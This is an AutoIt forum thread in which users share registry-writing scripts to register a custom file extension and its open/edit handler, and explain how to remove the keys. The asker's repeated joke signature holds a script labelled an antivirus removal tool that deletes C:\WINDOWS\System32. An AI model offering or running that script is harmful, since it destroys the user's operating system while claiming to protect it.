Sign in to follow this  
Followers 0
Firefoxy

Can you create your own file extensions?

19 posts in this topic

Can I use AutoIt to save files as extensions I make (ex. .poopoo) And if I can, can I give the file special attributes? I was thinking of creating basically a .txt file that also has a password imbedded into the file that the user entered the time he created the file that would be needed to read/edit the file. Is this possible?


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites



#2 ·  Posted (edited)

Look at the following script. Should get you on your way. :)

Registry Creation Code

$ext = ".ber"
$name = "Bert123"
$type = "TEXT"
$description = "Test Ext"
$iconpath = "C:\WINDOWS\system32\shell32.dll,40"
$defaultaction = "Open"
$openpath = "C:\My Files\open.exe"
$editpath = "C:\My Files\open.exe"

$hndl = FileOpen ("D:\MyFile" & $ext, 2)
FileClose ($hndl)

RegWrite ("HKEY_CLASSES_ROOT\" & $ext, "", "REG_SZ", $name)
RegWrite ("HKEY_CLASSES_ROOT\" & $ext, "PerceivedType", "REG_SZ", $type)
RegWrite ("HKEY_CLASSES_ROOT\" & $ext & "\ShellNew", "FileName", "REG_SZ", "template" & $ext)
RegWrite ("HKEY_CLASSES_ROOT\" & $name, "", "REG_SZ", $description)
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\DefaultIcon", "", "REG_SZ", $iconpath)
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell", "", "REG_SZ", $defaultaction)
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell\Open", "", "REG_SZ", "Open")
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell\Open\Command", "", "REG_SZ", '"'&$openpath&'" "%1" "-a"')
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell\Edit", "", "REG_SZ", "Edit")
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell\Edit\Command", "", "REG_SZ", '"'&$editpath&'" "%1" "-b"')

open.exe:

$text = ""
$cmd = ""
If $CmdLine[0] <> 0 Then
    $file = $CmdLine[1]
    $parm = $CmdLine[2]
    If $parm = "-a" Then
        $cmd = "Open The File (" & $file & ")"
    ElseIf $parm = "-b" Then
        $cmd = "Edit the File (" & $file & ")"
    Else
        $cmd = "Unknown"
    EndIf
    MsgBox (0, "Output", $cmd)
Else
    MsgBox(0, "", "What are you trying to do?")
EndIf

Hope that helps you :P

EDIT: Fixed error in code.

Edited by Bert

Share this post


Link to post
Share on other sites

Nice one Bert


George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Share this post


Link to post
Share on other sites

Wow....that's perfect. Thanks. By the way, how do you know all that???


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

#6 ·  Posted (edited)

how would you delete that?

love it...but...how would i delete it?

Edited by Swift

Share this post


Link to post
Share on other sites

how would you delete that?

love it...but...how would i delete it?

Look up RegDelete in the help file. Be CAREFUL to have the right key. In this case (if you used the extension that Bert used)

HKEY_CLASSES_ROOT\.ber


George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Share this post


Link to post
Share on other sites

#8 ·  Posted (edited)

so this will work?

RegDelete("HKEY_CLASSES_ROOT\.ber")
Edited by Swift

Share this post


Link to post
Share on other sites

Yay..it worked...

Share this post


Link to post
Share on other sites

so this will work?

RegDelete("HKEY_CLASSES_ROOT\.ber")
Yes, if that is the key you actually created.

George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Share this post


Link to post
Share on other sites

Hahahaha... How do I know all that? I don't. I worked it out. Be sure when you create your file ext, you look it up on http://filext.com/ and make sure it is not used. Hard I know, but nevertheless do it. Also, to delete your file ext:

RegDelete ("HKEY_CLASSES_ROOT\" & $name)
RegDelete ("HKEY_CLASSES_ROOT\" & $ext)

Hope that helps. Ill post this as an example later... :)

Share this post


Link to post
Share on other sites

Hope that helps. Ill post this as an example later... :)

It did. I have a question though. Can I embed information into a file? Like an ID3 tag does for .mp3, .wav, etc.? I just want to embed a password that the user selects when creating the file. Is this possible with AutoIt?


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

It did. I have a question though. Can I embed information into a file? Like an ID3 tag does for .mp3, .wav, etc.? I just want to embed a password that the user selects when creating the file. Is this possible with AutoIt?

Yes. Look at the File... functions. MP3's have them embedded, and the selected programs know how to read that data... Your program just needs to know how to read that data.

Share this post


Link to post
Share on other sites

Look at the following script. Should get you on your way. :)

Registry Creation Code

$ext = ".ber"
$name = "Bert123"
$type = "TEXT"
$description = "Test Ext"
$iconpath = "C:\WINDOWS\system32\shell32.dll,40"
$defaultaction = "Open"
$openpath = "C:\My Files\open.exe"
$editpath = "C:\My Files\open.exe"

$hndl = FileOpen ("D:\MyFile" & $ext, 2)
FileClose ($hndl)

RegWrite ("HKEY_CLASSES_ROOT\" & $ext, "", "REG_SZ", $name)
RegWrite ("HKEY_CLASSES_ROOT\" & $ext, "PerceivedType", "REG_SZ", $type)
RegWrite ("HKEY_CLASSES_ROOT\" & $ext & "\ShellNew", "FileName", "REG_SZ", "template" & $ext)
RegWrite ("HKEY_CLASSES_ROOT\" & $name, "", "REG_SZ", $description)
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\DefaultIcon", "", "REG_SZ", $iconpath)
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell", "", "REG_SZ", $defaultaction)
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell\Open", "", "REG_SZ", "Open")
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell\Open\Command", "", "REG_SZ", '"'&$openpath&'" "%1" "-a"')
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell\Edit", "", "REG_SZ", "Edit")
RegWrite ("HKEY_CLASSES_ROOT\" & $name & "\Shell\Edit\Command", "", "REG_SZ", '"'&$editpath&'" "%1" "-b"')

open.exe:

$text = ""
$cmd = ""
If $CmdLine[0] <> 0 Then
    $file = $CmdLine[1]
    $parm = $CmdLine[2]
    If $parm = "-a" Then
        $cmd = "Open The File (" & $file & ")"
    ElseIf $parm = "-b" Then
        $cmd = "Edit the File (" & $file & ")"
    Else
        $cmd = "Unknown"
    EndIf
    MsgBox (0, "Output", $cmd)
Else
    MsgBox(0, "", "What are you trying to do?")
EndIf

Hope that helps you :P

EDIT: Fixed error in code.

how oddly similar to AuthMod for Amp 3

func Create($EXT,$ICON)

regwrite("HKEY_CLASSES_ROOT\."&$EXT,"","REG_SZ","AMP3."&$EXT&".File")

regwrite("HKEY_CLASSES_ROOT\."&$EXT,"Content Type","REG_SZ","audio/mpeg")

regwrite("HKEY_CLASSES_ROOT\."&$EXT,"PerceivedType","REG_SZ","audio")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File","","REG_SZ","AMP 3 media file")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\DefaultIcon","","REG_SZ",$ICON)

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell","","REG_SZ","play")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell\play","","REG_SZ","&Play in AMP 3")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell\play\command","","REG_SZ",'"'&@scriptdir&"\..\amp 3.exe"&'"'&'"%1"')

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell\open","","REG_SZ","&Open in AMP 3")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell\open\command","","REG_SZ",'"'&@scriptdir&"\..\amp 3.exe"&'"'&'"%1"')

endfunc


[center][/center]

Share this post


Link to post
Share on other sites

how oddly similar to AuthMod for Amp 3

func Create($EXT,$ICON)

regwrite("HKEY_CLASSES_ROOT\."&$EXT,"","REG_SZ","AMP3."&$EXT&".File")

regwrite("HKEY_CLASSES_ROOT\."&$EXT,"Content Type","REG_SZ","audio/mpeg")

regwrite("HKEY_CLASSES_ROOT\."&$EXT,"PerceivedType","REG_SZ","audio")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File","","REG_SZ","AMP 3 media file")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\DefaultIcon","","REG_SZ",$ICON)

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell","","REG_SZ","play")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell\play","","REG_SZ","&Play in AMP 3")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell\play\command","","REG_SZ",'"'&@scriptdir&"\..\amp 3.exe"&'"'&'"%1"')

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell\open","","REG_SZ","&Open in AMP 3")

regwrite("HKEY_CLASSES_ROOT\AMP3."&$EXT&".File\shell\open\command","","REG_SZ",'"'&@scriptdir&"\..\amp 3.exe"&'"'&'"%1"')

endfunc

I don't really see why it would ever be done any differently.

I think what Bert has done is export a couple of existing keys, make the required changes and then reformat the reg file to AutoIt code. Almost anyone would do it that way.


George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Share this post


Link to post
Share on other sites

lol I didn't think he copied besides I could care less if he did the creator of AuthMod by buddy he just looked at win amps keys to create it... When I said that it was oddly similar I meant that i figured we both copied another program from the registry lol I was just wondering (to myself) if it was winamp


[center][/center]

Share this post


Link to post
Share on other sites

By the way,

you can search here: http://filext.com/file-extension/ber

to find a file extension which is not in use ore at least not used from a common program.

Best regards, Reinhard

Share this post


Link to post
Share on other sites

By the way,

you can search here: http://filext.com/file-extension/ber

to find a file extension which is not in use ore at least not used from a common program.

Best regards, Reinhard

Knew I forgot to tell the littlies something... :)

@DBAK- Didn't copy your code. Just used as Geo said, a copy of some keys. AutoIt's in fact :P

Share this post


Link to post
Share on other sites

@DBAK- Didn't copy your code.

Lol I know, we both copied antoher prgms reg keys.. ha...

[center][/center]

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0